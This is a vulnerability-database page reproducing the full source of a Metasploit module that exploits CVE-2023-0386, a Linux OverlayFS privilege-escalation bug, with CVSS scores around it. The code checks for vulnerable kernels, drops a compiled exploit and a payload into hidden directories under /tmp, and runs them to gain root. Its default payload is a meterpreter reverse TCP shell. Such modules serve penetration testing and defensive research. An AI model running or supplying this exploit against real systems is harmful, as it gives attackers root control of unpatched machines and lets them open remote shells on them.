Lucene search

K
metasploitXkaneiki, sxlmnwb, Takahiro YokoyamaMSF:EXPLOIT-LINUX-LOCAL-CVE_2023_0386_OVERLAYFS_PRIV_ESC-
HistorySep 05, 2024 - 1:54 p.m.

Local Privilege Escalation via CVE-2023-0386

2024-09-0513:54:55
xkaneiki, sxlmnwb, Takahiro Yokoyama
www.rapid7.com
4
metasploit module
linux kernel
overlayfs
privilege escalation
exploit
cve-2023-0386
user namespaces
x64 architecture

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

This exploit targets the Linux kernel bug in OverlayFS. A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Local Privilege Escalation via CVE-2023-0386',
        'Description' => %q{
          This exploit targets the Linux kernel bug in OverlayFS.

          A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
          was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
          This uid mapping bug allows a local user to escalate their privileges on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xkaneiki', # Exploit development
          'sxlmnwb', # Exploit development
          'Takahiro Yokoyama', # Metasploit Module
        ],
        'DisclosureDate' => '2023-03-22',
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => [ 'linux' ],
        'Arch' => [
          ARCH_X64,
        ],
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'AppendExit' => true,
          'PrependFork' => true,
          'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
        },
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2023-0386' ],
          [ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ],
          [ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ],
          [ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ],
          [ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
      OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def check
    unless kernel_arch.include?('x64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    kernel_version = Rex::Version.new(kernel_release.split('-').first)
    if kernel_version < Rex::Version.new('5.11') ||
       kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) ||
       Rex::Version.new('6.1.9') <= kernel_version
      return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable")
    end

    unless userns_enabled?
      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
    end

    vprint_good('Unprivileged user namespaces are permitted')

    CheckCode::Appears("Linux kernel version found: #{kernel_version}")
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    # Upload exploit executable
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"

    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    if live_compile?
      vprint_status('Live compiling exploit on system...')
      upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))
    end

    # Upload payload executable
    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    vprint_status("Running: #{cmd_string}")
    begin
      output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])
      vprint_status(output)
    rescue Error => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error("Exploit failed: #{e}")
    ensure
      # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
      cmd_exec("rm -rf '#{exploit_dir}'")
    end
  end

end

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low